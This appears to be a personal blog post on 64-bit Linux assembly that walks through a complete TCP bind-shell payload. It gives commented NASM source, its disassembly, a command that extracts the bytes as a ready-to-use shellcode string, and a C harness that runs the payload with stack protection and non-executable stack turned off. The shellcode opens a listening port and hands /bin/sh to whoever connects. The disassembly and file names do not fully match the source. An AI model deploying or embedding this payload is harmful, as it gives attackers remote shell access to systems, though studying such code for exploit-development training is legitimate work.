What is this post about?
In learning 64 bit assembly language under Linux, I thought I would convert some of the 32 bit code I have already in my repo. Therefore there won’t be a full explanation, just the basics.
The assembly language code.
section .text global _start _start: ; some clean up first xor rax,rax xor rdi,rdi xor rsi,rsi xor rdx,rdx xor r10, r10 xor r8,r8 xor r9,r9 ; Register allocation for system calls in 64bit assembly language ; function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9) ; ^system ^arg1 ^arg2 ^arg3 ^arg4 ^arg5 ^arg6 ; call # ; Socket ; Function prototype: ; int socket(int domain, int type, int protocol) ; Purpose: ; creates an endpoint for communications, returns a ; descriptor that will be used thoughout the code to ; bind/listen/accept communications ; C Code: ; sockfd = socket(AF_INET, SOCK_STREAM, 0); push 0x2 ; domain, AF_INET, found in sys/socket.h pop rdi ; pop value from stack into int domain, first argument push 0x1 ; type, SOCK_STREAM, found in bits/socket_type.h pop rsi ; pop value from stack into int type, second argument push 0x6 ; protocol, TCP, found in /etc/protocols pop rdx ; pop value from stack into int protocol, third argument push 0x29 ; socket syscall pop rax syscall mov r8,rax ; move return value into r8 ; Bind ; Function prototype: ; int bind(int sockfd, const struct sockaddr *addr, ; socklen_t addrlen) ; Purpose: ; assigns the addess in addr to the socket descriptor, ; basically "giving a name to a socket" ; C Code: ; hostaddr.sin_family = AF_INET; ; hostaddr.sin_port = htons(31337); ; hostaddr.sin_addr.s_addr = INADDR_ANY; ; memset(&(hostaddr.sin_zero), '\0', 8); ; bind(sockfd, (struct sockaddr *)&hostaddr, sizeof(struct sockaddr)); xor r10,r10 push r10 push r10 mov byte [rsp],0x2 ; AF_INET, sockaddr.sa_family value mov word [rsp+0x2],0x697a ; port 31337, sockaddr.sa_data[] value mov rsi,rsp ; put values into sockaddr structure push r8 ; socket file descriptor pop rdi ; put socket_fd from r8 into rdi, first argument push 0x10 ; push 16 on stack pop rdx ; pop 16 from stack into addrlen, third argument push 0x31 ; bind syscall pop rax ; pop value from stack into function number to call syscall ; Listen ; Function prototype: ; int listen(int sockfd, int backlog) ; Purpose: ; sets the socket in the descriptor in preparation to ; accepting incoming communications ; C Code: ; listen(sockfd, 1); push r8 ; push socket file descriptor onto stack pop rdi ; pop value from stack into int sockfd, first argument push 0x1 ; push 1 onto stack pop rsi ; pop value from stack into int backlog, second argument push 0x32 ; listen syscall pop rax ; pop value from stack into function number to call syscall ; Accept ; Function prototype: ; int accept(int sockfd, struct sockaddr *addr, ; socklen_t *addrlen) ; Purpose: ; accepts a connection on a socket and returns a new ; file descriptor referring to the socket which is used ; to bind stdin, stdout and stderr to the local terminal ; C Code: ; sinsz = sizeof(struct sockaddr_in); ; dupsockfd = accept(sockfd, (struct sockaddr *)&clientaddr, &sinsz); mov rsi,rsp ; make address of sockaddr structure equal to stack pointer xor rcx,rcx ; zero rcx mov cl,0x10 ; put 16 into lower 8bits of rcx push rcx ; push rcx (10) onto stack mov rdx,rsp ; make socklen_t value of stack pointer push r8 ; push socket file descriptor onto stack pop rdi ; pop socket file descriptor of stack into int sockfd push 0x2b ; push accept syscall number (43) onto stack pop rax ; pop this value into rax syscall ; Dup2 ; Function prototype: ; int dup2(int oldfd, int newfd) ; Purpose: ; duplicate a file descriptor, copies the old file ; descriptor to a new one allowing them to be used ; interchangably, this allows all shell i/o to/from the ; compomised system. ; C Code: ; dup2(dupsockfd,0); /* stdin */ ; dup2(dupsockfd,1); /* stdout */ ; dup2(dupsockfd,2); /* stderr */ pop rcx ; pop value on top of stack into rcx xor r9,r9 ; zero r9 mov r9,rax ; put return value from accept syscall into r9 mov rdi,r9 ; put value from r9 into oldfd, first argument xor rsi,rsi ; zero rsi push 0x3 ; place 3 on top of stack pop rsi ; pop 3 from stack into newfd, second argument loop: dec rsi ; subtract 1 from value in rsi push 0x21 ; push (33) onto stack, value of dup2 syscall pop rax ; pop (33) from stack into rax syscall jne loop ; if zero not set in flag register loop again, else continue ; Execve ; Function prototype: ; int execve(const char *filename, char *const argv[], ; char *const envp[]); ; Purpose: ; execve() executes the program pointed to by filename. ; filename must be either a binary executable, or a script. ; C Code: ; execve("/bin/sh", argv, envp); xor rdi,rdi ; zero rdi push rdi ; push zero onto stack push rdi ; push another zero onto stack pop rsi ; pop zero from stack into argv[], second argument pop rdx ; pop zero from stack into envp[], third argument mov rdi,0x68732f6e69622f2f ; mov hs/nib// into filename, first argument shr rdi,0x8 ; remove first / and make NULL terminated string push rdi ; push /bin/shNULL onto stack push rsp ; push stack pointer onto stack pop rdi ; pop pointer to filename into filename, first argument push 0x3b ; push (59) onto stack, value of execve syscall pop rax ; pop (59) from stack into rax syscall
To build the code:
$ nasm -felf64 -o bindshell.o bindshell.asm $ ld -o bindshell bindshell.o
Check for nulls:
$ objdump -d tcpbindshell -M intel tcpbindshell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 c0 xor rax,rax 400083: 48 31 ff xor rdi,rdi 400086: 48 31 f6 xor rsi,rsi 400089: 48 31 d2 xor rdx,rdx 40008c: 4d 31 c0 xor r8,r8 40008f: 6a 02 push 0x2 400091: 5f pop rdi 400092: 6a 01 push 0x1 400094: 5e pop rsi 400095: 6a 06 push 0x6 400097: 5a pop rdx 400098: 6a 29 push 0x29 40009a: 58 pop rax 40009b: 0f 05 syscall 40009d: 49 89 c0 mov r8,rax 4000a0: c6 04 24 02 mov BYTE PTR [rsp],0x2 4000a4: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a 4000ab: 48 89 e6 mov rsi,rsp 4000ae: 41 50 push r8 4000b0: 5f pop rdi 4000b1: 6a 10 push 0x10 4000b3: 5a pop rdx 4000b4: 6a 31 push 0x31 4000b6: 58 pop rax 4000b7: 0f 05 syscall 4000b9: 41 50 push r8 4000bb: 5f pop rdi 4000bc: 6a 01 push 0x1 4000be: 5e pop rsi 4000bf: 6a 32 push 0x32 4000c1: 58 pop rax 4000c2: 0f 05 syscall 4000c4: 48 89 e6 mov rsi,rsp 4000c7: 48 31 c9 xor rcx,rcx 4000ca: b1 10 mov cl,0x10 4000cc: 51 push rcx 4000cd: 48 89 e2 mov rdx,rsp 4000d0: 41 50 push r8 4000d2: 5f pop rdi 4000d3: 6a 2b push 0x2b 4000d5: 58 pop rax 4000d6: 0f 05 syscall 4000d8: 59 pop rcx 4000d9: 4d 31 c9 xor r9,r9 4000dc: 49 89 c1 mov r9,rax 4000df: 4c 89 cf mov rdi,r9 4000e2: 48 31 f6 xor rsi,rsi 4000e5: 6a 03 push 0x3 4000e7: 5e pop rsi 00000000004000e8 <loop>: 4000e8: 48 ff ce dec rsi 4000eb: 6a 21 push 0x21 4000ed: 58 pop rax 4000ee: 0f 05 syscall 4000f0: 75 f6 jne 4000e8 <loop> 4000f2: 48 31 ff xor rdi,rdi 4000f5: 57 push rdi 4000f6: 57 push rdi 4000f7: 5e pop rsi 4000f8: 5a pop rdx 4000f9: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 400100: 2f 73 68 400103: 48 c1 ef 08 shr rdi,0x8 400107: 57 push rdi 400108: 54 push rsp 400109: 5f pop rdi 40010a: 6a 3b push 0x3b 40010c: 58 pop rax 40010d: 0f 05 syscall
Test above executable on localhost using netcat under X:
Open a terminal under working directory,
$ ./bindshell
Open another terminal,
$ nc localhost 31337
commands can now be executed in this terminal e.g. try typing ls to see contents of bindshell directory.
Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so
$ for i in $(objdump -d tcpbindshell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05
The shellcode can be copied and pasted into a test program, similar to the one below. The #define PORT from the 32bit version is removed, I didn’t like it.
#include <stdio.h> /* port 31337 (\x7a\x69) */ unsigned char code[] = \ "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d" "\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29" "\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52" "\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89" "\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41" "\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6" "\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a" "\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89" "\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58" "\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf" "\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57" "\x54\x5f\x6a\x3b\x58\x0f\x05"; int main(void) { printf("Shellcode Length: %d\n", (int)sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); return 0; }
Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.
Test above executable on localhost using netcat under X:
Open a terminal under working directory,
$ ./shellcode
Open another terminal,
$ nc localhost 31337
commands can now be executed in this terminal e.g. try typing ls to see contents of shellcode directory.